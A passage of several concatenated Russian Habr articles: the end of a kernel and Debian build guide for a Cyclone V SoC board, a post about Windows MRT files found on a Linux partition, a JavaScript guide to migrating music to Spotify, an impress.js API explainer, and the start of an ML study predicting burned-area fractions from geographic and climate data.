— отвечаем **Yes**. 10. Компилируем ядро: ``` make uImage ``` В моём случае виртуальной машине было отдано только одно ядро. Процесс компиляции занял около 20 минут. Если же компилирование будет выполняться в машине с несколькими ядрами, то для скорости можно распараллелить процесс компиляции на несколько ядер. Для этого надо явно задать количество ядер через опцию **-j**. Например, для компиляции силами трёх ядер: ``` make -j 3 uImage ``` 11. Компилируем dtb-файл, соответствующий нашему устройству. Если воспользоваться старым dtb-файлом, то или устройство повиснет при загрузке или будут страшные глюки при работе: * Ищем все файлы, имеющие в названии cyclone5 и заканчивающиеся на dts: ``` find ~/linux-socfpga-4.1 -name "*cyclone5*dts" ``` * Выбираем наиболее подходящий из найденых файлов. Я просто просматривал их содержимое и в одном из них увидел слово **terasic**. Мне подумалось, что это самый подходящий файл для данного устройства — вот его и использовал. Файл назывался **socfpga\_cyclone5\_sockit.dts**. * Запускаем компиляцию socfpga\_cyclone5\_sockit.dtb: ``` make socfpga_cyclone5_sockit.dtb ``` В результате компиляции создалось два файла: ``` /root/linux-socfpga-4.1/arch/arm/boot/zImage /root/linux-socfpga-4.1/arch/arm/boot/dts/socfpga_cyclone5_sockit.dtb ``` 12. Если на этапе конфигурации был выбран вариант использования внешних модулей, то необходимо скомпилировать их. Компилируем модуль **CIFS**: ``` make M=fs/cifs ``` и компилируем модули криптографии — они понадобятся при монтировании расшаренных ресурсов Windows: ``` make M=crypto ``` 13. Копируем файлы ядра и dtb на карточку. Исходно карточка была нарезана так, что ядро и DTB-файл лежали на отдельном партишене FAT32. Вот на него эти файлы и записываем. Единственное замечание: DTB-файл нужно переименовать — чтобы он назывался также, как тот, который уже лежит на разделе FAT32 карточки: * Подключаем карточку к виртуальной машине. Мне пришлось воспользоваться внешним кардридером, подключенным прямо к порту USB2 компьютера. Сделать то-же самое через встроенный в компьютер кардридер почему-то не удалось. Также не удалось подсоединить внешний кардридер к виртуальной машине, если подключать его через порт USB3. * Произойдёт автомонтирование разделов карточки — нельзя размонтировать разделы через GUI, потому что в этом случае происходит полное отключение кардридера от виртуальной машины. * Смотрим названия примонтированных разделов: ``` mount ``` Увидим нечто в этом роде: ``` /dev/sdb1 on /media/user/F725-1429 type vfat (rw,nosuid,nodev,uid=1000,gid=1000,shortname=mixed,dmask=0077,utf8=1,showexec,flush,uhelper=udisks2) /dev/sdb2 on /media/user/41cad05c-898e-49a3-9d00-02b92fa817ba type ext3 (rw,nosuid,nodev,uhelper=udisks2) ``` Раздел типа vfat (первая строка) — то, что нас интересует в данный момент. * Смотрим, что лежит на разделе vfat: ``` ll /media/user/F725-1429 ``` Видим нечто в этом роде: ``` -rw-r--r-- 1 user user 1164128 Apr 20 20:23 de0_nano_soc.rbf -rw-r--r-- 1 user user 15274 Jul 26 17:08 socfpga.dtb -rw-r--r-- 1 user user 176 Apr 20 19:59 u-boot.scr -rw-r--r-- 1 user user 3371472 Jul 29 16:50 zImage ``` Значит dtb-файл называется socfpga.dtb. * Копируем наши файлы на карточку: ``` cp /root/linux-socfpga-4.1/arch/arm/boot/zImage /media/user/F725-1429/ cp /root/linux-socfpga-4.1/arch/arm/boot/dts/socfpga_cyclone5_sockit.dtb /media/user/F725-1429/socfpga.dtb ``` Сборка файловой системы ----------------------- Этот подраздел во многом повторяет то, что написано в [этой статье](http://habrahabr.ru/company/metrotek/blog/235707/), но тем не менее я привожу его полностью, чтобы в дальнейшем было проще пользоваться этим руководством. Собирать будем Debian 7 Wheezy: 1. Устанавливаем пакеты, которые понадобятся для сборки файловой системы: ``` apt-get install debootstrap qemu-user-static binfmt-support ``` 2. Создаем директорию и загружаем в неё все необходимые файлы: ``` cd /root mkdir debian7 debootstrap --arch armel --foreign wheezy debian7 http://ftp.debian.org/debian ``` 3. Чтобы запускать приложения, собранные под ARM-архитектуру, будем использовать **qemu static**. Для этого скопируем файл в нашу директорию debian7: ``` cp /usr/bin/qemu-arm-static debian7/usr/bin/ ``` 4. Переходим в нашу новую файловую систему: ``` chroot debian7 /bin/bash ``` 5. Если приглашение интерпретатора изменилось на «I have no name!@hostname:/#», значит всё прошло успешно. Заканчиваем процесс сборки: ``` /debootstrap/debootstrap --second-stage ``` 6. В **/etc/inittab** оставляем следующие строки: ``` /etc/inittab id:5:initdefault: si::sysinit:/etc/init.d/rcS ~~:S:wait:/sbin/sulogin l0:0:wait:/etc/init.d/rc 0 l1:1:wait:/etc/init.d/rc 1 l2:2:wait:/etc/init.d/rc 2 l3:3:wait:/etc/init.d/rc 3 l4:4:wait:/etc/init.d/rc 4 l5:5:wait:/etc/init.d/rc 5 l6:6:wait:/etc/init.d/rc 6 z6:6:respawn:/sbin/sulogin S:2345:respawn:/sbin/getty 115200 console ``` 7. Устанавливаем пароль для root-аккаунта: ``` passwd ``` 8. Запаковываем новую файловую систему в архив: ``` tar -cpzf debian7.tar.gz --exclude=debian7.tar.gz / ``` 9. Выходим из chroot: ``` exit ``` 10. Размонтируем и затем форматируем раздел ext3 на карточке (названия разделов смотрим в пункте 13 из сборки ядра): ``` umount /dev/sdb2 mkfs.ext3 /dev/sdb2 ``` 11. Монтируем раздел ext3: ``` mount /dev/sdb2 /mnt/ ``` 12. Распаковываем архив с файловой системой на карточку в раздел ext3: ``` tar -xzf /root/debian7/debian7.tar.gz -C /mnt/ ``` 13. Если при сборке ядра был выбран вариант использования внешних модулей, то необходимо записать на карточку внешние модули, скомпилированные на этапе 12 процесса сборки ядра: ``` cd /mnt/lib mkdir modules mkdir modules/4.1.0 mkdir modules/4.1.0/extra mkdir modules/4.1.0/kernel mkdir modules/4.1.0/kernel/crypto cp /root/linux-socfpga-4.1/fs/cifs/cifs.ko ./modules/4.1.0/extra/ cp /root/linux-socfpga-4.1/crypto/*.ko ./modules/4.1.0/kernel/crypto/ ``` 14. Размонтируем разделы: ``` umount /dev/sdb1 umount /dev/sdb2 ``` На этом всё — карточка готова, можно устанавливать её в устройство и загружаться. Окончательная доводка --------------------- После загрузки устройства дотачиваем образ на месте: 1. Логинимся в Debian на устройстве, подключившись к нему через встроенный serial-порт. 2. Если при сборке ядра был выбран вариант использования внешних модулей, то необходимо сгенерить файлы с информацией о внешних модулях ядра: ``` depmod -a ``` 3. Добавляем в список репозиториев репозиторий Debian 7 (я добавил немецкий сервер): ``` echo "deb http://ftp.de.debian.org/debian wheezy main" > /etc/apt/sources.list ``` 4. Подключаем устройство к Ethernet-сети. Получаем адрес по DHCP: ``` dhclient -4 eth0 ``` 5. Поднимаем NTP, так как с неправильным временем не удастся примонтировать расшаренные ресурсы: ``` apt-get update apt-get install ntp ``` 6. Устанавливаем наш часовой пояс: ``` dpkg-reconfigure tzdata ``` 7. Для проверки, что всё собралось нормально, монтируем серверную шару. Например, в моём случае я делал это так: ``` mount //192.168.48.4/distrib /mnt -o username=jok40 ``` 8. Устанавливаем SSH-сервер. Пользоваться serial-портом неудобно, так как при работе через него происходит заворот набираемых команд на начало строки после достижения колонки 80: ``` apt-get install openssh ``` 9. Назначаем статический адрес интерфейсу eth0 — чтобы в дальнейшем проще было подключаться к устройству по SSH. Для этого редактируем файл interfaces: ``` nano /etc/network/interfaces ``` В моём случае он стал выглядеть вот так: ``` # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback # The primary network interface allow-hotplug eth0 iface eth0 inet static address 192.168.48.27 netmask 255.255.255.0 gateway 192.168.48.1 network 192.168.48.0 broadcast 192.168.48.255 auto eth0 ``` 10. Редактируем файл resolv.conf — чтобы нормально работал DNS-клиент: ``` nano /etc/resolv.conf ``` Добавляем в него строки: ``` nameserver 192.168.48.1 nameserver 8.8.8.8 ``` 11. Перезагружаем устройство. 12. Для проверки, что всё сделано правильно **подключаемся к устройству по SSH через Ethernet:**![](https://habrastorage.org/files/4ab/31a/ccf/4ab31accf58b4f26a144e2afde4f4c6b.gif) Всем спасибо за внимание!
https://habr.com/ru/post/264515/
null
ru
null
# Мой первый Linux-вирус? *Перевод заметки [My first Linux virus?](http://systemcall.org/2007/09/07/my-first-linux-virus/) для [Линукс в digg на русском](http://linux-digg.ru/)*. Блуждая по файловой системе Linux на своем компьютере, я обнаружил странную директорию в /home … `drwxr-xr-x 2 root root 4096 2007-08-19 12:03 eb588afc0325b12eeb074fd6` Я не создавал эту директорию. Если это вирус, то это самый тупой вирус во Вселенной, но всякое бывает. Далее я заглянул внутрь директории и увидел следующие файлы: `$ l eb588afc0325b12eeb074fd6/ total 956 -rw-r--r-- 1 root root 865822 2007-08-02 21:41 mrt.exe._p -rw-r--r-- 1 root root 96216 2007-08-02 21:34 mrtstub.exe -rw-r--r-- 1 root root 45057 2007-08-19 12:03 $shtdwn$.req` Боже мой, если это действительно вирус, то он еще тупее, чем я думал: пытается внедрить `.exe`-файлы в мою **Linux**-систему! В любом случае, кто-то должен знать ответ… Поиск по **mrtstub** выдал [эту страницу](http://www.microsoft.com/communities/newsgroups/en-us/default.aspx?dg=microsoft.public.security&tid=c0b6f0d6-4894-4fe8-9ea2-82a6c4eee208&p=1), прямо с вражеского сайта. Довольно быстро я нашел ответ: > mrtstub — это часть Malicious Software Removal Tool (инструмента для удаления вредоносных программ). Отвечает за копирование и запуск mrt.exe. Вкратце: на моем компьютере установлены две системы: Linux и Microsoft Windows (сын иногда использует для игр), и моя домашняя директория Linux подмонтирована при помощи *ext3*-драйвера в Windows. Система спрашивала меня об установке этого *Malicious Software Removal Tool*, в чем я отказывал 10 раз, при чем просил **каждый чертов раз *НИКОГДА НЕ УСТАНАВЛИВАТЬ***. На одиннадцатый раз мой сын также запретил установку Malicious Software Removal Tool (он всегда так поступает), но Windows молча, без разрешения, установила этот кусок дерьма в мой компьютер. С меня хватит! Я потрачу пятерку и куплю CrossOver для запуска игр на Linux, раз и навсегда избавившись от Windows.
https://habr.com/ru/post/31249/
null
ru
null
# Как бесплатно перенести свои любимые треки в Spotify, используя Javascript Все любители музыки в России с нетерпением ждали выхода Spotify на наш рынок. Когда наконец это случилось, перед пользователями встала проблема переноса музыки из других сервисов. Лично у меня за годы накопилась огромная коллекция музыки на разных платформах: Яндекс.Музыка, ВКонтакте, личная коллекция на жёстком диске и облако на Яндекс.Диске. Сначала я думал воспользоваться сервисами вроде Soundiiz и TuneMyMusic. Но вдохновившись [статьёй об использовании Python в тех же целях](https://habr.com/ru/post/511566/), мне стало интересно решить эту задачку с помощью Javascript. Далее я опишу ряд простых шагов с исходным кодом, которые помогут перенести вашу музыку из разных источников в Spotify. ![](https://habrastorage.org/r/w780q1/webt/u6/en/88/u6en88ivrxksj5zxzm_ghqvqbr4.jpeg) Итак, для начала нам потребуется три вещи: Node.js, браузер Google Chrome и [исходники скриптов](https://github.com/KrimsonKing1337/add-tracks-to-spotify). И установить зависимости, конечно же. Идём в корень проекта и выполняем команду: ``` npm i ``` Готово? Отлично, идём дальше. **В первую очередь, нам необходимо получить список треков.** **Дисклеймер:** Код и подходы, представленные в скриптах, не являются эталонными. Уверен, есть масса более лаконичных способов. Мне просто было интересно реализовать это именно так. ВКонтакте --------- За долгие годы пользования этой социальной сетью список треков неуклонно пополнялся. Думаю, что у многих такая же ситуация. Я решил просто отпарсить DOM-дерево, чтобы получить нужный результат. Таким образом, можно не беспокоиться о ключах авторизации, регистрации своего приложения и прочем. Открываем свой профиль, переходим в музыку и прокручиваем страницу вниз. После этого открываем консоль браузера (F12) и копируем туда то, что находится в файле **src/grabTracksVk.js.** Нажимаем Enter. В консоли появится список ваших треков. Яндекс.Диск ----------- Долгое время я хранил свою коллекцию на жёстком диске, пока не осознал, что слишком уж много она стала занимать полезного места. Поэтому, собравшись с духом, я перенёс всё на Яндекс.Диск. И лишь самое любимое оставил на винте. Здесь нам потребуется получить токен для работы с API. Парсить DOM-дерево в этом случае уже не получится. Идём по ссылке: <https://yandex.ru/dev/disk/poligon> Нажимаем кнопку "Получить OAuth токен". Далее нужно пройти в файл **src/grabTracksYandexDisk.js.** Там найти строчку ``` const token = '' ``` И вставить полученный токен. Например: ``` const token = 'AgAAAAACbokuAADL45FDSww2d3SDSffddwAAAAA'; ``` Если вы, как и я, храните огромную коллекцию дискографий, в которой более тысячи групп, возможно, вам будет достаточно получить список только из названий исполнителей. Для этого рядом стоит переменная **onlyArtist**, которой следует установить значение **true**. После этого нужно открыть консоль в корне проекта и запустить выполнение скрипта командой: ``` node ./src/grabTracksYandexDisk.js ``` Результат появится в файле **collection-yandex-disk.txt.** У Яндекс.Диска в API есть очень удобный для этих целей запрос (получить все файлы сразу): ``` https://cloud-api.yandex.net/v1/disk/resources/files ``` В параметрах можно указать media type, чем я и воспользовался. Файловая система ---------------- Поскольку на Яндекс.Диске лежит не всё, то нужно ещё перенести список из файловой системы. Плюс, я знаю людей, которые облачным сервисам не доверяют, а попробовать Spotify (или аналоги) хочется. Никаких хитростей – я просто рекурсивно бегу по директориям, начиная с переданного пути, и по маске отсекаю лишнее. Итак, идём в файл **src/grabTracksFileSystem.js.** Ищем строку ``` const rootPath = '' ``` Пишем нужный путь, это отправная точка для скрипта. Например: ``` const rootPath = 'D:/Music/Metal'; ``` Рядом находятся ещё две переменные. **mask** нужна для фильтрации файлов по расширению. В массив следует передать необходимые значения. Например: ``` const mask = ['.mp3', '.flac']; ``` **onlyArtist** работает, как и в прошлый раз. То есть, если вы хотите получить только названия групп, следует поменять значение на **true.** Затем нужно открыть консоль в корне проекта и запустить выполнение скрипта командой: ``` node ./src/grabTracksFileSystem.js ``` Результат появится в файле **collection-fs.txt.** Яндекс.Музыка ------------- Здесь дела обстояли сложнее. У Яндекс.Музыки нет открытого API, поэтому я сперва решил, как и в случае с ВКонтакте, просто открыть страницу с плейлистом и забрать из него треки через парсинг DOM-а. Но не учёл того, что единовременно в DOM-е могут находиться максимум 150 элементов, а остальные начинают выгружаться. И при прокрутке появляются следующие элементы, которые заменяют собой предыдущие. В итоге я придумал другое решение (впечатлительным лучше не смотреть): скрипт прокручивает страницу, и как только срабатывает загрузка новой порции треков, они импортируются из DOM-а и добавляются в уникальный массив. Так до тех пор, пока мы не упрёмся в конец страницы. Чтобы это сделать, мне пришлось немного поменять прототип метода send у XMLHttpRequest. Из минусов можно отметить низкую скорость работы. Если треков очень много — это займёт время. Тем не менее — результат достижим! Итак, алгоритм действий такой: Открываем Яндекс.Музыку, далее "Моя коллекция" → плейлисты, плейлист "Мне нравится" → нажимаем на название (теоретически, любой другой плейлист тоже можно). Далее должен открыться плейлист на всё окно. Открываем консоль браузера, вставляем туда код из файла **src/grabTracksYandexMusic** и нажимаем Enter. Ждём. После завершения выполнения скрипта в консоли распечатается список треков. **P.S.:** Во время работы скрипта лучше ничего не делать. Прервать выполнение всегда можно, перезагрузив страницу. Apple Music ----------- Сам я этим сервисом не пользуюсь, но просьб было очень много, поэтому этот сервис мы тоже разберём. Здесь я просто парсю DOM, как и в случае с ВКонтакте. Проблема лишь в том, что ни у кого не нашлось очень длинного плейлиста. И может возникнуть ситуация, как в Яндекс.Музыке. Итак, алгоритм действий такой же, как и с ВКонтакте. Открываем наш плейлист, прокручиваем страницу вниз и выполняем в консоли бразуера код из файла **src/grabTracksAppleMusic.js.** В консоли появится список ваших треков. Spotify ------- Наконец, мы получили список треков, которые хотим добавить в Spotify. У Spotify с API всё очень даже хорошо. Но для работы нам необходимо получить авторизационный токен. Для этого нужно зарегистрировать своё приложение. Идём сюда: <https://developer.spotify.com/dashboard> Нажимаем на кнопку "Create an app", даём имя нашему приложению. Заходим внутрь. Здесь нам нужно забрать Client ID и Client Secret. Ищем в файле **src/getSpotifyToken.js** переменные **client\_id** и **client\_secret.** Вставляем значения соответственно. Далее нам нужно задать **redirect\_uri.** На странице нашего приложения нажимаем кнопку "Edit settings". Находим там "Redirect URIs", пишем `http://localhost:8888/callback`. Нажимаем кнопку "Save" внизу. **Теперь мы готовы перенести наши треки!** Создаём файлик в корне проекта с именем **tracks.txt**, вставляем в него список треков, полученный ранее. Треки должны разделяться вертикальным пробелом между собой. Например: ``` Slaughter To Prevail - Misery Sermon Grim Christmas - Jingle Bells Novembers Doom - Rain ``` Далее нам понадобится скрипт для получения токена: **./src/getSpotifyToken.js**. В нём я минимально изменил [код из официального примера Spotify](https://github.com/spotify/web-api-auth-examples) под наши нужды. Запускаем скрипт: ``` node ./src/getSpotifyToken.js ``` Откроется браузер с окном авторизации Spotify. Нам нужно сделать логин и дать наше согласие на доступ. После чего появятся две строчки: access token: <значение токена> и refresh token: <значение токена>. Нас интересует первый. Копируем его значение, кликнув на него. Далее идём в файлик **src/addTracksToSpotify.js**. Находим там строку ``` const accessToken = '' ``` И вставляем туда наш токен. После этого запускаем скрипт командой: ``` node ./src/addTracksToSpotify.js ``` И ждём. По завершению выполнения скрипта в вашем аккаунте появится новый плейлист с перенесёнными треками (я не стал сразу добавлять все треки в избранное из соображений безопасности: вдруг что-то пойдёт не так, а весь аккаунт будет забит не той музыкой, сбив алгоритмы рекомендаций и прочее). Также появится файлик **spotify-tracks-no-found.txt,** в котором будет список не найденных в Spotify треков. Если вы хотите добавить новых исполнителей, то алгоритм точно такой же, только скрипт другой (в коде тоже отличий мало). Создаём файлик в корне проекта с именем **artists.txt,** вставляем в него список исполнителей. Они должны разделяться вертикальным пробелом между собой. Например: ``` Bob Dylan Slaughter To Prevail Novembers Doom ``` Далее всё то же самое, что и с треками, только файл нам нужен **src/addArtistsToSpotify.js.** После вставки токена, просто запускаем скрипт командой: ``` node ./src/addTracksToSpotify.js ``` В вашем аккаунте появятся новые исполнители. Но если вдруг кого-то не нашлось, он будет помещён в файл **spotify-artists-no-found.txt.** **Всё!** **P.S.:** Если хочется добавить все треки сразу в избранное, это удобнее всего сделать через десктопную версию приложения. Переходим в плейлист, кликаем на первый трек и нажимаем Ctrl + A (Cmd + A). Будут выбраны все треки в плейлисте. И нажимаем лайк. Приятного прослушивания! )
https://habr.com/ru/post/515640/
null
ru
null
# Интерфейс программирования презентаций на impress.js ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/699/c09/403/699c094037889593e65ec3473eedc092.png) [impress.js](https://github.com/bartaz/impress.js) – популярный фреймворк предназначенный для создания впечатляющих презентация просто в браузере. Правда браузер для этого должен поддерживать CSS3 3d трансформации. Подробный разбор моментов связанных с построением презентации и отображением отдельных слайдов был проведен в [предыдущей публикации](http://habrahabr.ru/company/theonlypage/blog/237473/). Тогда за пределами нашего внимания остались возможности управления презентацией через API фреймворка. Для тех, кому мало получаемых «из коробки» возможностей **impress.js**, разберем его простой и компактный API. Вспомним, что фреймворк **impress.js** предназначен для создания презентаций из слайдов, размещенных в трехмерном пространстве и обеспечивает умопомрачительные 3d трансформации при переходе от слайда к слайду. Вот простой [пример презентации](http://help.theonlypage.com/impress_demo.html). Вся презентация помещается в контейнер у которого `id="impress"`. Внутри общего контейнера, размещаются контейнеры отдельных слайдов, отмеченные классом: `class="step"`. Местоположение слайда задаётся с помощью `data-`атрибутов координат: `data-x`, `data-y`, `data-z` и поворота (наклона): `data-rotate-x`, `data-rotate-y`, `data-rotate-z`. Кроме того для каждого слайда может быть задан масштаб data-атрибутом `data-scale`. Созданная таким образом презентация прекрасно прокручиваются вперед нажатием специальных клавиш: **таб**, **пробел**, **стрелка вправо**, **стрелка вниз**, **Page Down** и назад, нажатием клавиш **стрелка влево**, **стрелка вверх**, **Page Up** Если же есть необходимость организовать автоматическое перелистывание слайдов через заданные промежутки времени, перехватывать события перехода к тому или иному слайду или иным способом расширить возможности работы с презентацией то здесь следует воспользоваться **API** фреймворка. Полезные функции ---------------- Чтобы получить доступ к функциям API, необходимо создать объект, содержащий эти функции: ``` var api = impress(); ``` теперь можно воспользоваться следующими функциями * `api.init()`: инициация презентации * `api.next()`: переход к *следующему шагу* (*слайду*) презентации * `api.prev()`: переход к *предыдущему шагу* (*слайду*) презентации * `api.goto(id)`: переход к *указанному шагу* (*слайду*) презентации, можно перейти по **id**, по **номеру** шага (слайда), или по **DOM-элементу** слайда Автоматическое перелистывание слайдов ------------------------------------- Простое бесконечное [перелистывание слайдов](http://help.theonlypage.com/impress_demo2.html), через промежуток, например, 3 секунды: ``` var interaval=setInterval( function(){ // используем функцию api.next для прехода к следующему слайду // через каждые 3 секунды api.next(); },3000); ``` Одноразовое [перелистывание слайдов](http://help.theonlypage.com/impress_demo3.html) с установленным временем демонстрации ``` var step_transitions=[ {slide: 1, duration: 3500}, {slide: 2, duration: 3000}, {slide: 3, duration: 2500}, {slide: 4, duration: 2000}, {slide: 5, duration: 1500}, {slide: 6, duration: 1000}, {slide: 7, duration: 500}, ] var time_frame=0; step_transitions.filter(function(steps){ time_frame = time_frame + steps.duration; setTimeout(function(){ api.goto(steps.slide); }, time_frame); }); ``` Обработка событий ----------------- Программирование на JavaScript предполагает использование обработчиков событий, в качестве полезного средства управления ходом программы. Фреймворк **impress.js** позволяет обрабатывать два типа специальных событий: 1. **stepenter** – возникает в момент перехода на новый слайд (шаг) 2. **stepleave**– возникает в момент покидания очередного слайда (шага) В [простом примере](http://help.theonlypage.com/impress_demo4.html) выдается сообщение о покидаемом слайде и сообщение о слайде на который осуществляется переход. ``` document.addEventListener('impress:stepenter', function(event){ alert( 'Переходим к слайду: ' + event.target.id ); }, false); document.addEventListener('impress:stepleave', function(event){ alert( 'Покидаем слайд: ' + event.target.id ); }, false); ``` Вот и весь нехитрый инструментарий, для программирования презентаций impress.js: * 4 функции: **init()**, **next()**, **prev()**, **goto(id)**; * 2 события: **stepenter**, **stepleave**; Но его вполне достаточно для построения слайдера или осуществления дополнительных действий при переходе от слайда к слайду.
https://habr.com/ru/post/237531/
null
ru
null
# Предсказание горимости территорий методами машинного обучения на основе географических данных ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/539/688/7c6/5396887c67b18679ed79c4a356615a14.png) > **Автор статьи:** Ярослав Найчук, выпускник OTUS. > > Статья написанна Ярославом на основе выпускного проекта, в котором показано, как методы ML можно применять в самых разных областях. > > Добрый день! Сегодня я хотел бы рассказать о том, как с помощью средств машинного обучения можно предсказать горимость регионов. Что же такое горимость? В данной работе она рассматривается как отношение площади гарей за год к площади исследуемого региона. Целью работы не ставилась идентификация самих выгоревших площадей, напротив, это попытка составить оптимальную модель предсказания, используя простые географические данные региона. В работе рассмотрены Атырауская, Западно-Казахстанская области Республики Казахстан, а также Астраханская, Саратовская, Волгоградская области и Республика Калмыкия России. Данные по горимости и некоторые другие географические данные любезно предоставлены авторами данной работы: Шинкаренко С.С., Дорошенко В.В., Берденгалиева А. Н. Динамика площади гарей в зональных ландшафтах юго-востока европейской части России // Известия Российской академии наук. Серия географическая. 2022. Т. 86. № 1. С. 122-133. DOI 10.31857/S2587556622010113. Какие данные использовались ещё? * Климатические данные. Взяты с сайта <https://crudata.uea.ac.uk/cru/data/hrg/> * Данные по поголовью скота - <https://stat.gov.kz/region/list>, <https://www.gks.ru/dbscripts/munst/munst.htm> * NDVI - Вега-science <http://sci-vega.ru/> Loupian E., Burtsev M., Proshin A., Kashnitskii A., Balashov I., Bartalev S., Konstantinova A., Kobets D., Radchenko M., Tolpin V., Uvarov I. 2022. Usage Experience and Capabilities of the VEGA-Science System // Remote Sensing. Vol. 14. No. 1. P. 77. DOI: 10.3390/rs14010077 * Границы муниципальных образований. Рассмотрим признаки более детально: * flammability - динамика годовой горимости по регионам. **Наша целевая переменная.** * NDVI - динамика нормализованного относительного индекса растительности по регионам. Данный признак рассчитан как сумма пикселей со значениями  NDVI в пределах региона. * precipitation - динамика кол-ва осадков. * t\_max - среднегодовая динамика максимальных суточных температур. * livestock - динамика поголовья скота, представленная в условных единицах. * region - исследуемый район Что же такое NDVI? NDVI (Normalized Difference Vegetation Index) - нормализованный относительный индекс растительности. Он отражает плотность растительности в определенной точке изображения, которая равна разнице интенсивностей отраженного света в красном и инфракрасном диапазоне, деленной на сумму их интенсивностей. Формула NDVI выглядит так: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1de/c5d/81a/1dec5d81aa7ba51a3f749cd828d2e6b9.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/20f/f56/993/20ff56993902a859adc07a9418dc9652.png)Исходя из этого индекса можно сделать предположение, что чем меньше значение NDVI, тем биомасса более склонна к горению. Как видно из рисунка выше, сочные части растения имеют высокий индекс, они более влажные; отмершие или отсохшие части имеют более низкий индекс и более склонны к горению. Изначально некоторые данные были представлены не в форме табличных данных, а в форме растровых изображений с географической привязкой (GeoTIFF). Для представления данных в нужной форме была использована программа QGIS для работы с геоданными. Расчеты по растрам проводились с помощью инструмента “Калькулятор растров”. Далее для расчета статистики по регионам, был использован инструмент “Зональная статистика”. На получившийся растр как бы накладывался слой с полигонами муниципальных районов, и для каждого района мы получили годовую статистику.  (см. рис) ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/15f/617/f23/15f617f23eb27d16cbfa6796fd383073.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6b2/f2c/4dc/6b2f2c4dc65f97dcd760ae353f52f92d.png)В итоге проведенных расчетов получается векторный слой со следующей структурой  таблицы атрибутов (см рис.). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b9d/de6/0a8/b9dde60a8863feaa1821e9854a3e2a32.png)Каждая строка здесь - это полигон района, а поля “2001”, “2002” и др. - некоторые средние значения на конец года. Эта таблица не совсем подходит для анализа данных, т.к. следует представить каждый год и каждый регион отдельной строкой. Была написана следующая функция на Python, преобразующая данные в нужный вид ``` def parse_csv(path, col_name, start_index=0): df = pd.read_csv(path, decimal=',') list_of_df = [] for i in range(len(df)): new_df = df.iloc[i,:].to_frame(name=col_name).reset_index() if col_name == 'flammability': new_df = df.iloc[i,:].to_frame(name="flammability").reset_index() new_df['region'] = new_df.iloc[1,1] new_df['OSM_ID'] = new_df.iloc[0,1] new_df = new_df.iloc[3:,:] list_of_df.append(new_df) else: new_df['OSM_ID'] = new_df.iloc[0,1] new_df = new_df.iloc[1:,:] list_of_df.append(new_df) df = pd.concat(list_of_df).reset_index() df = df.rename(columns={"index": "year"}) df = df.drop(['level_0'], axis=1) return df ``` В итоге получаем таблицу следующего вида:  ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e67/d83/c55/e67d83c555ae75f373e621c21e72f9b4.png)Получившиеся датасеты сцеплялись по полю OSM\_ID функцией pd.merge с использованием itertools. ``` import functools as ft df = ft.reduce(lambda left, right: pd.merge(left, right, on=['OSM_ID','year']), list_of_data) ``` Также были проведены EDA и предобработка данных, добавились новые признаки. * Значения NDVI и осадков были смещены на год назад. Это сделано потому, что исходные данные отражают информацию на конец года. Пропущенные значения, которые образовывались из-за смещения, были заполнены средним по региону. * Был добавлен новый признак, который отражал динамику количества осадков на начало года, с января по апрель (precip\_beggining\_y). * Муниципальные районы (категориальная переменная) были переделаны в новые признаки: широта и долгота их географического центра (N - координаты широты, E - координаты долготы). * Целевая переменная была прологарифмирована. * Nan’ы заполним значением “-9999”, пропущенные данные присутствуют только в данных по поголовью. * Поля “year” и поля с ненужной информацией были удалены. Теперь посмотрим на матрицу корреляций признаков: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/fd9/c9f/d66/fd9c9fd66cab0117ef125d0adff3ebf7.png)Целевая переменная имеет слабую корреляцию с другими признаками. Также можно заметить, что координаты широты обратно коррелируют с динамикой максимальных суточных температур, что встраивается в картину закона о “Широтной зональности” (когда наблюдается закономерное изменение физико-географических процессов, компонентов и комплексов геосистем от экватора к полюсам). Посмотрим также распределение целевой переменной. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/83d/2bd/d95/83d2bdd9593546a6a8179f2d85db2827.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d42/428/9a1/d424289a1e5c6984d4b3fdf4038178b2.png)Здесь более темные цвета отражают большую горимость. Попробуем протестировать классические модели машинного обучения. Для начала оценим линейные модели с регуляризацией и с применением различных scaler’ов. Качество можно увидеть в таблице ниже. | | | | | | | | --- | --- | --- | --- | --- | --- | | **Scaler** | **R2** | **RMSE** | **MAE** | **Regressor's type** | **Best Alpha** | | RobustScaler | 0.151 | 0.870 | 0.706 | RidgeCV | 1.0 | | RobustScaler | 0.150 | 0.870 | 0.706 | LassoCV | 0.001 | | RobustScaler | 0.144 | 0.873 | 0.709 | ElasticNetCV | 0.01 | | **StandardScaler** | **0.151** | **0.869** | **0.705** | **RidgeCV** | **1.0** | | StandardScaler | 0.139 | 0.875 | 0.712 | LassoCV | 0.01 | | StandardScaler | 0.145 | 0.873 | 0.709 | ElasticNetCV | 0.01 | | MinMaxScaler | 0.146 | 0.872 | 0.709 | RidgeCV | 1.0 | | MinMaxScaler | 0.151 | 0.870 | 0.706 | LassoCV | 0.0001 | | MinMaxScaler | 0.147 | 0.872 | 0.708 | ElasticNetCV | 0.001 | **SVM** со следующей сеткой показал следующие результаты: ``` param_grid = { 'C': [1, 5, 100, 200, 1000], 'epsilon': [0.01, 0.1, 0.05, 0.0003, 1, 0.2, 5, 10], 'gamma': [0.001, 0.1, 1, 5, 10, 100] } ``` **R2**: 0.465 **Best params:**  {'C': 100, 'epsilon': 0.05, 'gamma': 0.1} **CatBoost** “из коробки” с разными scaler’ами показал: | | | | | | --- | --- | --- | --- | | **Scaler** | **R2** | **RMSE** | **MAE** | | RobustScaler | 0.589 | 0.905 | 0.751 | | StandardScaler | 0.594 | 0.905 | 0.751 | | **MinMaxScaler** | **0.601** | **0.905** | **0.751** | **LightGBM** со значениями по умолчанию **RMSE** был равен 0.644, а **R2**: 0.563 После использования библиотек градиентного бустинга, всё же хочется посмотреть на “feature\_importance”. Здесь мы имеем следующие значения:  1. `previous_NDVI: 24.23` 2. `previous_precipitation: 20.7` 3. `precip_beggining_y: 15.91` 4. `N: 10.7` 5. `E: 9.82` 6. `t_max: 9.3` 7. `livestock: 9.18` Первое место занимает показатель NDVI, смещенный на 